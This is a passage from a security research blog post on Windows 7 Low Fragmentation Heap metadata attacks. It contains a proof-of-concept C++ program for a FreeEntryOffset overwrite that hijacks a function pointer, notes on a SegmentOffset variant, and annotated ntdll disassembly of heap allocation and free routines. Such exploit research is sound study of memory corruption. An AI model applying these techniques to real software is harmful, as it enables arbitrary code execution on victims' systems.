    77522c47 je      ntdll!RtlFreeHeap+0x4f (7754ddea)
    77522c4d mov     dword ptr [ebp-4],eax
    77522c50 cmp     eax,edi
    77522c52 je      ntdll!RtlFreeHeap+0xcd (7754de5d)
    77522c58 cmp     byte ptr [ebx-1],5                               ; jump if its 0x5, we have to FAIL this check so that the
    77522c5c je      ntdll!RtlFreeHeap+0x7e (7754de06)                ; free can be handled by RtlLowFragHeapFree()
    77522c62 mov     eax,dword ptr [ebp-4]
    77522c65 test    byte ptr [eax+7],80h
    77522c69 je      ntdll!RtlFreeHeap+0x131 (77526525)
    77522c6f mov     edx,ebx
    77522c71 mov     ecx,esi
    77522c73 call    ntdll!RtlpLowFragHeapFree (77522c9b)
    
[/code]

But because we are using the \_HEAP\_ENTRY->ExtendedBlockSignature, we must
set the \_HEAP\_ENTRY->ContextValue to 0x00000004, then, the chunk header
decoding is performed on the re-adjusted chunk header. Compile the code under
Visual studio professional 2010 and load it up into a debugger. Ensure that
you patch the PEB correctly so that the heap manager does not change offsets.
‘\!heaper p peb’

<img src='https://net-ninja.net/images/patch_peb.png' alt='Patching the PEB'
/>

Now run the code, and as you can see the arbitray free is triggered and we
allocated over the top of a struct that uses a function pointer. At this point
we just fill the chunk and overwrite the function pointer leading to code
execution.

<img src='https://net-ninja.net/images/SegmentOffset.png' alt='EIP owned' />

Pros:

  * Do not need to allocate an Object/Struct after the overwrite
  * Only need a 0x8 byte overwrite

Cons:

  * You need the ability to overwrite the header using NULLs

### The FreeEntryOffset attack technique

For the FreeEntryOffset attack to work, the attacker will need to have at
least a 0x9 byte overwrite so that they can manipulate the NextOffset. The
following PoC code will overwrite the NextOffset, allocate a chunk \(updating
the FreeEntryOffset\) and then allocating an object in use.

[code]

    // FreeEntryOffsetOverwrite.cpp : Defines the entry point for the console application.
    // Technique by Dr Valasek
    
    #include "stdafx.h"
    #include <stdio.h>
    #include <tchar.h>
    #include <windows.h>
    #include <string.h>
    
    void foo()
    {
            printf("(+) foo\n");
    };
    
    struct own_me {
            void (*get_eip)();
            char padding[0x1c];
    };
    
    char *a, *b, *c; 
    long offset;
    long chunkheader;
    int i;
    HANDLE myheap = NULL;
    struct own_me* chunks[0xff];
    
    int _tmain(int argc, _TCHAR* argv[])
    {
            // create the heap
            myheap = HeapCreate(0, 1*1024*1024, 0);
    
            // activate the LFH using structs
            for (i=0; i<0x1f; i++){
                    chunks[i] = (struct own_me*) HeapAlloc(myheap,0,sizeof(struct own_me));
                    // initialze the function address for each struct
                    chunks[i]->get_eip = &foo;
            }
    
            a = (char*)HeapAlloc(myheap,0,0x20);
            
            // overwrite the chunks EntryOffset to match a chunk of type 'struct own_me'
            memcpy(a, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x3e", 41);
    
            // set the FreeEntryOffset
            b = (char*)HeapAlloc(myheap,0,0x20);
    
            // now we allocate over a struct
            c = (char*)HeapAlloc(myheap,0,0x20);
    
            // fill c with 'shellcode' and smash the struct
            memcpy(c, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", 32);
    
            // call our functions
            for (i=0; i<0x1f; i++){
                    chunks[i]->get_eip();
            }
            return 0;
    }
    
[/code]

Compile the code under Visual studio professional 2010 and load it up into a
debugger. Ensure that you patch the PEB correctly so that the heap manager
does not change offsets. ‘\!heaper p peb’

<img src='https://net-ninja.net/images/patch_peb.png' alt='Patching the PEB'
/>

Now run the code, and as you can see the \_INTERLOCK\_SEQ->FreeEntryOffset was
overwritten with 0xff. **But we want to make sure that the value will
calculate to a valid object/struct.**

<img src='https://net-ninja.net/images/FreeEntryOffset_1.png' alt='Owning the
FreeEntryOffset' />

Now that we allocated over the top of the struct, we can overwrite it with
shellcode.. opps :-\)

<img src='https://net-ninja.net/images/FreeEntryOffset_2.png' alt='EIP owned'
/>

Pros:

  * Do not need to allocate an Object/Struct after the overwrite

Cons:

  * You need at least a 0x9 byte overwrite

### Unspecified attack technique

\[to be compelete at a later date\]

## Conclusion

Despite there being a lack of ‘real world’ exploitation techniques \(and this
post does not reference the only techniques avaliable\) there are still many
states the heap can be placed into that helps facilitate the interuption of
heap operations such as allocation, free, coalescing etc.

Today, we are seeing a growing trend towards application specific attacks due
to an increase in security. Many researchers will always use application
attacks without consideration over metadata atatcks. However, the reality is
that if the attacker has the ability to perform a metadata attack, then they
will surely find it easier to place the heap into a specfic state that can
exponentially facilitate application attacks.

## Appendix A - RtlAllocateHeap\(\)

[code]

    77812D66 MOV EDI,EDI
    77812D68 PUSH EBP
    77812D69 MOV EBP,ESP
    77812D6B SUB ESP,60
    77812D6E PUSH EBX
    77812D6F PUSH ESI
    77812D70 XOR ESI,ESI
    77812D72 CMP DWORD PTR SS:[EBP+10],7FFFFFFF           ; a check on the size against the maximum signed int
    77812D79 PUSH EDI        
    77812D7A MOV DWORD PTR SS:[EBP-8],ESI
    77812D7D JA ntdll.7783DC71                            ; jump if the size is bigger than 0x7FFFFFFF
    77812D83 MOV EBX,DWORD PTR SS:[EBP+8]                 ; load _HEAP
    77812D86 MOV EAX,DWORD PTR DS:[EBX+44]                ; load _HEAP->ForceFlags
    77812D89 MOV ECX,DWORD PTR DS:[EBX+5C]                ; load _HEAP->Interceptor
    77812D8C OR DWORD PTR SS:[EBP+C],EAX                  ; inclusive OR with the third variable and _HEAP->ForceFlags
    77812D8F MOV DWORD PTR SS:[EBP-C],ECX                 ; save off _HEAP->Interceptor
    77812D92 CMP ECX,ESI                                  ; compare _HEAP->Interceptor with NULL
    77812D94 JNZ ntdll.7783DC28                           ; jump is Interceptor is not NULL
    77812D9A TEST DWORD PTR SS:[EBP+C],7D810F61
    77812DA1 JNZ ntdll.77815A58
    77812DA7 CMP DWORD PTR SS:[EBP+10],ESI                ; make sure the _HEAP_LIST_LOOKUP->ArraySize is not NULL
    77812DAA JE ntdll.77284ED9
    77812DB0 MOV EAX,DWORD PTR SS:[EBP+10]                ; load the size
    77812DB3 ADD EAX,0F                                   ; adjust by 8 bytes for header
    77812DB6 AND EAX,FFFFFFF8                             ; adjust by 8 bytes for header
    77812DB9 MOV ECX,EAX                                  ; ecx == size 
    77812DBB MOV DWORD PTR SS:[EBP-8],EAX                 ; save off the size
    77812DBE MOV EAX,DWORD PTR DS:[EBX+B8]                ; load the _HEAP->BlocksIndex
    77812DC4 SHR ECX,3                                    ; index size = size/8
    77812DC7 CMP ECX,DWORD PTR DS:[EAX+4]                 ; compare Size and BlocksIndex->ArraySize
    77812DCA JNB ntdll.7781681F                           ; if the Size is too big, request more space
    77812DD0 MOV EDX,DWORD PTR DS:[EAX+4]                 ; load BlocksIndex->ArraySize
    77812DD3 DEC EDX                                      ; tmp = ArraySize-1
    77812DD4 CMP ECX,EDX                                  ; 
    77812DD6 JNB ntdll.7781A2FF                           ; jump if the size is larger than the ArraySize-1
    77812DDC SUB ECX,DWORD PTR DS:[EAX+14]                ; tmp = size - BlocksIndex->BaseIndex
    77812DDF CMP DWORD PTR DS:[EAX+8],0                   ; compare BlocksIndex->ExtraItem with 0
    77812DE3 JE SHORT ntdll.77812DE7                      ; jump not taken, BlocksIndex->ExtraItem =1
    77812DE5 ADD ECX,ECX                                  ; double index size
    77812DE7 MOV EAX,DWORD PTR DS:[EAX+20]                ; load ListHints to EAX
    77812DEA LEA ESI,DWORD PTR DS:[EAX+ECX*4]             ; load sentinel node (ListsHints[index size] to ESI)
    77812DED TEST ESI,ESI                                 ; ensure that the sentinel node was loaded
    77812DEF JE ntdll.77815A58                            ; if loading failed, jump
    77812DF5 MOV EAX,DWORD PTR DS:[ESI+4]                 ; load ListHist[n]->Blink
    77812DF8 TEST AL,1                                    ; test to see if blink is a _heap_bucket+1
    77812DFA JE ntdll.77815A58                            ; jump if it is NOT a _heap_bucket+1
    77812E00 MOV EDX,DWORD PTR SS:[EBP+10]                ; load size
    77812E03 LEA ECX,DWORD PTR DS:[EAX-1]                 ; load _heap_bucket
    77812E06 MOV DWORD PTR SS:[EBP-10],2                  ; load 0x2
    
    ;; call is triggered if the ListHint[n]->Blink != _heap_bucket+1
    
    77812E0D CALL ntdll!RtlpLowFragHeapAllocFromContext   ; allocate using the LFH
    
    77812E12 MOV EDI,EAX                                  ; copy the returned, allocated chunk
    77812E14 TEST EDI,EDI                                
    77812E16 JE ntdll.77275A58                            ; make sure the returned, allocated chunk is not 0 (ntdll!RtlAllocateHeap+0x222)
    77812E1C TEST BYTE PTR SS:[EBP+C],8                   ; 0x00 & 0x8
    77812E20 JNZ ntdll.7727EAF8                           ; no jump (ntdll!RtlAllocateHeap+0x212)
    77812E26 TEST EDI,EDI                                
    77812E28 JE ntdll.7729DC73                            ; make sure the returned, allocated chunk is not 0 (ntdll!RtlAllocateHeap+0x7b)
    77812E2E MOV ESI,DWORD PTR SS:[EBP-C]                 ; load a unknown variable
    77812E31 TEST ESI,ESI                                 ; is the unknown variable != 0?
    77812E33 JNZ ntdll.7729DD87                           ; jump if it is != 0 (ntdll!RtlAllocateHeap+0x24f)
    77812E39 CMP BYTE PTR DS:[7FFE0380],0                 ; unknown test condition
    77812E40 JNZ ntdll.7729DCD1                           ; if failure, jump (ntdll!RtlAllocateHeap+0xe1)
    77812E46 MOV EAX,EDI                                  ; set the return value to be the newly allocated chunk
    77812E48 POP EDI                                      ; save values 
    77812E49 POP ESI
    77812E4A POP EBX
    77812E4B LEAVE
    77812E4C RETN 0C                                      ; return and re-align the stack
    
[/code]

## Appendix B - RtlpLowFragHeapAllocFromContext\(\)

[code]

    ; Requested allocation size         = 0x20
    ; BlockUnits = (0x20+0x8)/0x8       = 0x05
    ; SizeIndex = 0x20/0x8              = 0x04
    
    77272E54 PUSH 64
    77272E56 PUSH ntdll.77811F30
    77272E5B CALL ntdll!_SEH_prolog4                      ; ntdll!_SEH_prolog
    77272E60 MOV DWORD PTR SS:[EBP-3C],EDX                ; save the requested size
    77272E63 MOV EDI,ECX                                  ; make a copy of the _LFH_HEAP->_heap_bucket[0x5]
    77272E65 MOV DWORD PTR SS:[EBP-28],EDI                ; save the copy _LFH_HEAP->_heap_bucket[0x5]
    77272E68 MOVZX EAX,BYTE PTR DS:[EDI+2]                ; zero extend the _heap_bucket->SizeIndex
    77272E6C LEA EAX,DWORD PTR DS:[EAX*4+110]             ; tmp = SizeIndex * 4 + 0x110 = 0x120 (calculate the offset into the _heap_buckets)
    77272E73 MOV ESI,EDI                                  ; make a copy of the _LFH_HEAP->_heap_bucket[0x5]
    77272E75 SUB ESI,EAX                                  ; _LFH_HEAP = _LFH_HEAP->_heap_bucket[0x5]-tmp (calculate back to the _LFH_HEAP base)
    77272E77 MOV DWORD PTR SS:[EBP-2C],ESI                ; save the _LFH_HEAP base
    77272E7A TEST BYTE PTR DS:[EDI+3],1                   ; does _heap_bucket->UseAffinity & 1 != 0 ?
    77272E7E JNZ ntdll.777F2023                           ; if != 0, jump AllocateAndUpdateLocalDataIndex()
    77272E84 AND DWORD PTR SS:[EBP-34],0                  ; variable & 0 = 0x00000000
    77272E88 MOV EAX,DWORD PTR SS:[EBP-34]                ; load 0x00000000 into EAX
    77272E8B IMUL EAX,EAX,3418                            ; eax = 0 * 0x3418 (calculate the offset change for _HEAP_LOCAL_DATA)
    77272E91 LEA EAX,DWORD PTR DS:[EAX+ESI+310]           ; load the address of _LFH_HEAP->_HEAP_LOCAL_DATA 
    77272E98 MOV DWORD PTR SS:[EBP-44],EAX                ; save the _LFH_HEAP->_HEAP_LOCAL_DATA
    77272E9B MOVZX ECX,BYTE PTR DS:[EDI+2]                ; zero extend the _LFH_HEAP->_heap_bucket[0x5]->SizeIndex
    77272E9F IMUL ECX,ECX,68                              ; ecx = SizeIndex * 0x68 = 0x1a0 (SizeIndex is * by 0x68 to accommodate the _HEAP_LOCAL_SEGMENT_INFO header)
    77272EA2 LEA EDX,DWORD PTR DS:[EAX+ECX+18]            ; load the current _HEAP_LOCAL_SEGMENT_INFO by accessing _LFH_HEAP->_HEAP_LOCAL_DATA[_LFH_HEAP->_heap_bucket[0x5]->SizeIndex]
    77272EA6 MOV DWORD PTR SS:[EBP-20],EDX                ; save off the _HEAP_LOCAL_SEGMENT_INFO structure
    77272EA9 MOV EAX,DWORD PTR DS:[EDX]                   ; load the _HEAP_LOCAL_SEGMENT_INFO->Hint
    77272EAB MOV DWORD PTR SS:[EBP-30],EAX                ; save the _HEAP_LOCAL_SEGMENT_INFO->Hint
    77272EAE TEST EAX,EAX                                 ; is the Hint available?
    77272EB0 JE ntdll.77283FFF                            ; No, so jump to get the _HEAP_LOCAL_SEGMENT_INFO->ActiveSubsegment
    
    ;; jump is taken!
    
    ; location 0x77283fff (ntdll!RtlpLowFragHeapAllocFromContext+0x280)
    
    77283FFF MOV EBX,DWORD PTR SS:[EBP-20]                ; load the _HEAP_LOCAL_SEGMENT_INFO structure
    77284002 MOV EAX,DWORD PTR DS:[EBX+4]                 ; load the _HEAP_LOCAL_SEGMENT_INFO->ActiveSubsegment (_HEAP_SUBSEGMENT)
    77284005 MOV DWORD PTR SS:[EBP-30],EAX                ; save the _HEAP_LOCAL_SEGMENT_INFO->ActiveSubsegment (_HEAP_SUBSEGMENT) off
    77284008 TEST EAX,EAX                                 ; is the _HEAP_SUBSEGMENT available?
    7728400A JE ntdll.772840F4                            ; jump if not and we will create a new _HEAP_SUBSEGMENT...
    77284010 MOV DWORD PTR SS:[EBP-4],1                   ; set a variable to 1
    
    ;; start loop
    
    77284017 LEA ECX,DWORD PTR DS:[EAX+8]                 ; load the _INTERLOCK_SEQ structure
    7728401A MOV EDX,DWORD PTR DS:[ECX]                   ; load the _INTERLOCK_SEQ->OffsetAndDepth
    7728401C MOV DWORD PTR SS:[EBP-5C],EDX                ; save the _INTERLOCK_SEQ->OffsetAndDepth off
    7728401F MOV EDI,DWORD PTR DS:[ECX+4]                 ; load the _INTERLOCK_SEQ->Sequence
    77284022 MOV DWORD PTR SS:[EBP-58],EDI                ; save the _INTERLOCK_SEQ->Sequence off
    77284025 TEST DX,DX                                   ; is the _INTERLOCK_SEQ->Depth = 0?
    77284028 JE ntdll.772849DD                            ; jump to commit more memory ?
    7728402E MOV ESI,DWORD PTR DS:[EAX+4]                 ; load the _HEAP_SUBSEGMENT->UserBlocks (_HEAP_USERDATA_HEADER)
    77284031 TEST ESI,ESI                                 ; is _HEAP_SUBSEGMENT->UserBlocks = 0?
    77284033 JE ntdll.772849DD                            ; jump to make a new UserBlocks if 0
    77284039 CMP DWORD PTR DS:[EAX],EBX                   ; compare _HEAP_SUBSEGMENT->LocalInfo (_HEAP_LOCAL_SEGMENT_INFO) with the current _HEAP_LOCAL_SEGMENT_INFO
    7728403B JNZ ntdll.772849DD                           ; jump to make a new UserBlocks if not the same
    77284041 MOV EAX,EDX                                  ; copy _INTERLOCK_SEQ->OffsetAndDepth
    77284043 SHR EAX,0D                                   ; eax = _INTERLOCK_SEQ->OffsetAndDepth / 0x20000 (8192) = 00000038 (0x00070031 >> 0x0d) = 0x38 (56)
    77284046 AND EAX,7FFF8                                ; eax = (0x38 & 0x7FFF8) = 0x38
    7728404B ADD EAX,ESI                                  ; eax = _HEAP_SUBSEGMENT->UserBlocks + ( _INTERLOCK_SEQ->OffsetAndDepth / 0x20000 (8192))
    7728404B                                              ; here we calculated the offset and depth in 1 shot to the current chunk in the UserBlocks 
    7728404B                                              ; so its the same as _HEAP_SUBSEGMENT->UserBlocks + (_HEAP_ENTRY->NextOffset * 0x08)
    7728404D LEA ESI,DWORD PTR DS:[EAX+8]                 ; adjust the free chunk to user data
    77284050 MOV EBX,EDX                                  ; copy _INTERLOCK_SEQ->OffsetAndDepth
    77284052 ADD EBX,-1                                   ; decrement the _INTERLOCK_SEQ->Depth by 1
    77284055 ADC EDI,-1                                   ; edi = edi-0x1+cp (no modification)
    77284058 AND EBX,0FFFF                                ; set EBX to only _INTERLOCK_SEQ->Depth
    7728405E MOVZX EAX,WORD PTR DS:[ESI]                  ; load the EntryOffset for the free chunk
    77284061 CDQ                                          ; clear the EDX register
    77284062 SHLD EDX,EAX,10                              ; 
    77284066 SHL EAX,10                                   ; reposition the EntryOffset = EAX * 0x10000 (65536)
    77284069 OR EBX,EAX                                   ; new_OffsetAndDepth = chunk->NextOffset with _INTERLOCK_SEQ->Depth-0x1 (0x000C0030)
    7728406B OR EDI,EDX                                   ;
    7728406D MOV DWORD PTR SS:[EBP-74],EBX                ; save the new_OffsetAndDepth variable
    77284070 MOV DWORD PTR SS:[EBP-70],EDI                ; save the 0x1 value
    77284073 MOV EAX,DWORD PTR SS:[EBP-5C]                ; load _INTERLOCK_SEQ->OffsetAndDepth
    77284076 MOV EDX,DWORD PTR SS:[EBP-58]                ; load EDX with 0x1
    77284079 MOV EDI,ECX                                  ; copy the _INTERLOCK_SEQ
    7728407B MOV EBX,DWORD PTR SS:[EBP-74]                ; load new_OffsetAndDepth variable
    7728407E MOV ECX,DWORD PTR SS:[EBP-70]                ; load ECX with 0x1
    77284081 LOCK CMPXCHG8B QWORD PTR DS:[EDI]            ; lOCK prefix (the actual exchange for new_OffsetAndDepth and OffsetAndDepth)
    77284085 CMP EAX,DWORD PTR SS:[EBP-5C]                ; compare the _INTERLOCK_SEQ->OffsetAndDepth with _INTERLOCK_SEQ->OffsetAndDepth
    77284088 JNZ ntdll.777C8E3F                           ; jump to update the affinity if they are different.. (ntdll!RtlpLowFragHeapAllocFromContext+0x314)
    7728408E CMP EDX,DWORD PTR SS:[EBP-58]                ; compare the affinity values
    77284091 JNZ ntdll.777C8E3F                           ; jump to update the affinity if they are different.. (ntdll!RtlpLowFragHeapAllocFromContext+0x314)
    
    ;; end loop
    
    ; location 0x777C8E3F (code path not taken during analysis)
    
    777C8E3F MOV EBX,DWORD PTR SS:[EBP-20]
    777C8E42 MOV AX,WORD PTR DS:[EBX+60]
    777C8E46 MOVZX EAX,AX
    777C8E49 SHL EAX,2
    777C8E4C MOV ECX,DWORD PTR DS:[EBX+58]
    777C8E4F MOV ECX,DWORD PTR DS:[ECX+C]
    777C8E52 TEST BYTE PTR DS:[ECX+EAX+113],1
    777C8E5A JNZ SHORT ntdll.774D8E76
    777C8E5C MOV AX,WORD PTR DS:[EBX+60]
    777C8E60 MOVZX EAX,AX
    777C8E63 SHL EAX,2
    777C8E66 MOV ECX,DWORD PTR DS:[EBX+58]
    777C8E69 MOV ECX,DWORD PTR DS:[ECX+C]
    777C8E6C LEA EAX,DWORD PTR DS:[ECX+EAX+113]
    777C8E73 OR BYTE PTR DS:[EAX],1
    777C8E76 MOV EAX,DWORD PTR SS:[EBP-30]
    777C8E79 JMP ntdll.77534017                          ; jump to the start of the loop
    
    ; location 0x77284097 (continuing execution)
    
    77284097 MOV ECX,ESI                                  ; copy the current UserBlocks chunk
    77284099 MOV DWORD PTR SS:[EBP-24],ECX                ; save the current UserBlocks chunk
    7728409C MOV DWORD PTR SS:[EBP-4],-2                  ; save -2
    772840A3 TEST ECX,ECX                                 ; is the free chunk == 0?
    772840A5 JE SHORT ntdll.772840F4                      ; if the chunk is == 0, jump
    772840A7 MOV EAX,DWORD PTR SS:[EBP-28]                ; load the _LFH_HEAP->_HEAP_BUCKET[0x5]
    772840AA MOVZX EAX,WORD PTR DS:[EAX]                  ; load the _LFH_HEAP->_HEAP_BUCKET[0x5]->BlockUnits
    772840AD SHL EAX,3                                    ; eax = BlockUnits * 0x8
    772840B0 SUB EAX,DWORD PTR SS:[EBP-3C]                ; eax = (BlockUnits * 0x8) - size
    772840B3 ADD ECX,-8                                   ; sub 0x8 for the header
    772840B6 MOV EDX,DWORD PTR SS:[EBP-2C]                ; load _LFH_HEAP
    772840B9 MOV ESI,DWORD PTR DS:[EDX+24]                ; load the current heap from _LFH_HEAP->Heap
    772840BC CMP EAX,3F                                   ; 
    772840BF JB ntdll.77272F6A                            ; jump if eax is below 0x3f
    
    ; location 0x77272F6A (ntdll!RtlpLowFragHeapAllocFromContext+0x22b)
    
    77272F6A OR AL,80                                     ; basically add 80 to 0x8
    77272F6C MOV BYTE PTR DS:[ECX+7],AL                   ; Set the chunk to be allocated from the LFH
    77272F6F MOV EAX,DWORD PTR SS:[EBP-24]                ; load the chunk into eax so that it gets returned
    77272F72 CALL ntdll.77272BE1                          ; ntdll!_SEH_epilog
    77272F77 RETN                                         ; return
    
[/code]

## Appendix C - RtlFreeHeap\(\)

[code]

    77812BFA MOV EDI,EDI
    77812BFC PUSH EBP
    77812BFD MOV EBP,ESP
    77812BFF PUSH ECX
    77812C00 PUSH EBX
    77812C01 MOV EBX,DWORD PTR SS:[EBP+10]                ; load chunk to be freed
    77812C04 PUSH EDI        
    77812C05 XOR EDI,EDI
    77812C07 MOV DWORD PTR SS:[EBP-4],EDI                 ; save NUL into the first variable
    77812C0A CMP EBX,EDI                                  ; ensure that the chunk to free is not NUL
    77812C0C JE ntdll.77816868                            ; jump if its NUL (ntdll!RtlFreeHeap+0x14)
    77812C12 PUSH ESI
    77812C13 MOV ESI,DWORD PTR SS:[EBP+8]                 ; load the _HEAP
    77812C16 TEST DWORD PTR DS:[ESI+44],1000000           ; _HEAP->ForceFlags & 0x1000000 (0x00000000 & 0x1000000)
    77812C1D JNZ ntdll.77816525                           ; jump (ntdll!RtlFreeHeap+0x131) if the _HEAP->ForceFlags are set and maximum number of allocations are reached
    77812C23 TEST BYTE PTR DS:[ESI+48],1                  ; _HEAP->CompatibilityFlags & 1 (0x00000000 & 1)
    77812C27 JNZ ntdll.7781686F                           ; jump if the _HEAP->CompatibilityFlags set (ntdll!RtlFreeHeap+0x68)
    77812C2D TEST BL,7                                    ; ensure that its divisible by 0x8
    77812C30 JNZ ntdll.7783DDF3                           ; jump if its not to round the chunk value (ntdll!RtlFreeHeap+0x58)
    77812C36 LEA EAX,DWORD PTR DS:[EBX-8]                 ; sub the header from the _HEAP_ENTRY chunk to be freed
    77812C39 CMP BYTE PTR DS:[EAX+7],5                    ; check the _HEAP_ENTRY->UnusedBytes is set to 0x05
    77812C3D JE ntdll.7783DDDC                            ; if its set to 0x5, jump (ntdll!RtlFreeHeap+0x40) to re-adjust the _HEAP_ENTRY chunk header
    77812C43 TEST BYTE PTR DS:[EAX+7],3F                  ; check to see if the _HEAP_ENTRY->ExtendedBlockSignature has been allocated by the FreeList
    77812C47 JE ntdll.7783DDEA                            ; 
    77812C4D MOV DWORD PTR SS:[EBP-4],EAX                 ; save off the _HEAP_ENTRY chunk
    77812C50 CMP EAX,EDI                                  ; compare _HEAP_ENTRY with NUL 
    77812C52 JE ntdll.7783DE5D                            ; if its null, jump
    77812C58 CMP BYTE PTR DS:[EBX-1],5                    ; check to see if the _HEAP_ENTRY->UnusedBytes is set to 0x05
    77812C5C JE ntdll.7783DE06                            ; jump (ntdll!RtlFreeHeap+0x7e) if its set to 0x5
    77812C62 MOV EAX,DWORD PTR SS:[EBP-4]                 ; load the _HEAP_ENTRY
    77812C65 TEST BYTE PTR DS:[EAX+7],80                  ; check to see if the _HEAP_ENTRY->ExtendedBlockSignature is below 0x80
    77812C69 JE ntdll.77816525                            ; jump (ntdll!RtlFreeHeap+0x131) if not allocated from the LFH (typically 0x8)
    77812C6F MOV EDX,EBX                                  ; copy the (_HEAP_ENTRY+0x8)
    77812C71 MOV ECX,ESI                                  ; copy the _HEAP
    
    ;; call is triggered if the _HEAP_ENTRY->ExtendedBlockSignature shows an allocation from the LFH
    
    77812C73 CALL ntdll!RtlpLowFragHeapFree               ; free using the LFH
    
    77812C78 TEST AL,AL                                   ; ensure that we didnt return 0
    77812C7A JE ntdll.77816525                            ; jump if we returned 0 (ntdll!RtlFreeHeap+0x131)
    77812C80 CMP BYTE PTR DS:[7FFE0380],0                 ; unknown test condition
    77812C87 JNZ ntdll.7783DE86                           ; jump if they mismatch
    77812C8D MOV AL,1                                     ; set the return value to 1
    77812C8F POP ESI                                      ; save some values
    77812C90 POP EDI
    77812C91 POP EBX
    77812C92 LEAVE
    77812C93 RETN 0C                                      ; re-align and return
    
[/code]

## Appendix D - RtlpLowFragHeapFree\(\)

[code]

    77272C9B MOV EDI,EDI                                  ; filler
    77272C9D PUSH EBP                                
    77272C9E MOV EBP,ESP
    77272CA0 SUB ESP,28
    77272CA3 PUSH EBX
    77272CA4 PUSH ESI
    77272CA5 PUSH EDI
    77272CA6 LEA EDI,DWORD PTR DS:[EDX-8]                 ; load the _HEAP_ENTRY
    77272CA9 CMP BYTE PTR DS:[EDI+7],5                    ; check the _HEAP_ENTRY->UnusedBytes is set to 0x05
    77272CAD JE ntdll.772B1F73                            ; if its set to 0x5, jump (ntdll!RtlpLowFragHeapFree+0x14) to re-adjust the _HEAP_ENTRY chunk header
    77272CB3 MOV EAX,DWORD PTR DS:[EDI]                   ; load _HEAP_ENTRY->InterceptorValue
    77272CB5 MOV ESI,EDI                                  ; copy _HEAP_ENTRY 
    77272CB7 SHR ESI,3                                    ; esi = _HEAP_ENTRY / 0x8
    77272CBA XOR ESI,EAX                                  ; esi = (_HEAP_ENTRY / 0x8) ^ _HEAP_ENTRY->InterceptorValue
    77272CBC XOR ESI,DWORD PTR DS:[772F71DC]              ; esi = esi ^ 0x2D87117C (??)
    77272CC2 MOV DWORD PTR SS:[EBP-4],EDI                 ; save off the _HEAP_ENTRY
    77272CC5 XOR ESI,ECX                                  ; esi = esi ^ _HEAP = _HEAP_SUBSEGMENT 
    77272CC5                                              ; these last 4 instructions were used to obtain the current _HEAP_SUBSEGMENT 
    77272CC7 MOV EAX,DWORD PTR DS:[ESI+4]                 ; load the UserBlocks (_HEAP_USERDATA_HEADER)
    77272CCA MOV DWORD PTR SS:[EBP-C],EAX                 ; save the UserBlocks (_HEAP_USERDATA_HEADER) off
    77272CCD MOV BYTE PTR DS:[EDI+7],80                   ; set the _HEAP_ENTRY->UnusedBytes to 0x80 (Freed from the LFH)
    77272CD1 MOV BYTE PTR DS:[EDI+6],0                    ; set the _HEAP_ENTRY->LFHFlags to 0
    
    ;; start loop while(1) -> location 0x77272CD5 (ntdll!RtlpLowFragHeapFree+0x44)
    ; this is loop operates while(1), if old_OffsetAndDepth == new_OffsetAndDepth && old_sequence == new_sequence, break
    
    77272CD5 MOV EBX,DWORD PTR DS:[ESI+8]                 ; load the _INTERLOCK_SEQ->OffsetAndDepth
    77272CD8 MOV ECX,DWORD PTR DS:[ESI+C]                 ; load the _INTERLOCK_SEQ->Sequence
    77272CDB MOV DWORD PTR SS:[EBP-20],EBX                ; save off the _INTERLOCK_SEQ->OffsetAndDepth
    77272CDE ADD EBX,1                                    ; increase the _INTERLOCK_SEQ->Depth by 1
    77272CE1 MOV DWORD PTR SS:[EBP-1C],ECX                ; save off the _INTERLOCK_SEQ->Sequence
    77272CE4 ADC ECX,1                                    ; add with carry _INTERLOCK_SEQ->Sequence by 1
    77272CE7 AND EBX,7FFF                                 ; remove the high bytes (strip it to just Depth)
    77272CED CMP BX,WORD PTR DS:[ESI+14]                  ; compare the Depth with _HEAP_SUBSEGMENT->BlockCount
    77272CF1 JE ntdll.77279920                            ; jump if there equal (ntdll!RtlpLowFragHeapFree+0x62) to set the _INTERLOCK_SEQ->Sequence to 3 and _INTERLOCK_SEQ->Depth to -1 (last)
    77272CF7 MOV EAX,DWORD PTR SS:[EBP-20]                ; load the current _INTERLOCK_SEQ->OffsetAndDepth
    77272CFA MOV EDX,DWORD PTR SS:[EBP-1C]                ; load the current _INTERLOCK_SEQ->Sequence
    77272CFD SHRD EAX,EDX,10                              ; eax = (_INTERLOCK_SEQ->OffsetAndDepth,_INTERLOCK_SEQ->Sequence / 0x10000 (65536))
    77272D01 MOV WORD PTR DS:[EDI+8],AX                   ; update the _HEAP_ENTRY->NextOffset with the _INTERLOCK_SEQ->FreeEntryOffset value (exploitable right here)
    77272D05 SUB EDI,DWORD PTR SS:[EBP-C]                 ; new_FreeEntryOffset = _HEAP_ENTRY-_HEAP_USERDATA_HEADER (calculate the new_FreeEntryOffset) = 0x60
    77272D08 XOR EAX,EAX                                  ; NUL EAX
    77272D0A SHR EDI,3                                    ; edi = new_FreeEntryOffset / 0x8 = (0x60 / 0x8) = 0x0c
    77272D0D SHLD EAX,EDI,10                              ; eax = NUL,(new_FreeEntryOffset / 0x8) * 0x10000 (65536) = NUL
    77272D11 SHL EDI,10                                   ; edi = (new_FreeEntryOffset / 0x8) * 0x10000 (65536) = 0x000C0000
    77272D14 SHR EDX,10                                   ; edx = _INTERLOCK_SEQ->Sequence / 0x10000 (65536) = NUL
    77272D17 OR EBX,EDI                                   ; new_OffsetAndDepth = _INTERLOCK_SEQ->OffsetAndDepth ^ (new_FreeEntryOffset / 0x8) * 0x10000 (65536)
    77272D19 OR ECX,EAX
    77272D1B MOV EAX,DWORD PTR DS:[ESI]                   ; load the _HEAP_SUBSEGMENT->_HEAP_LOCAL_SEGMENT_INFO
    77272D1D MOV DWORD PTR SS:[EBP-8],1                   ; save 1
    77272D24 MOV DWORD PTR DS:[EAX],ESI                   ; write the current _HEAP_SUBSEGMENT into _HEAP_LOCAL_SEGMENT_INFO->Hint
    77272D26 MOV EAX,DWORD PTR SS:[EBP-20]                ; load the current _INTERLOCK_SEQ->OffsetAndDepth
    77272D29 MOV EDX,DWORD PTR SS:[EBP-1C]                ; load the current _INTERLOCK_SEQ->Sequence
    77272D2C LEA EDI,DWORD PTR DS:[ESI+8]                 ; load the current _INTERLOCK_SEQ
    77272D2F LOCK CMPXCHG8B QWORD PTR DS:[EDI]            ; do the compare and then exchange the _INTERLOCK_SEQ->OffsetAndDepth for the new OffsetAndDepth and Sequence
    77272D33 CMP EAX,DWORD PTR SS:[EBP-20]                ; compare the old _INTERLOCK_SEQ->OffsetAndDepth with the new _INTERLOCK_SEQ->OffsetAndDepth
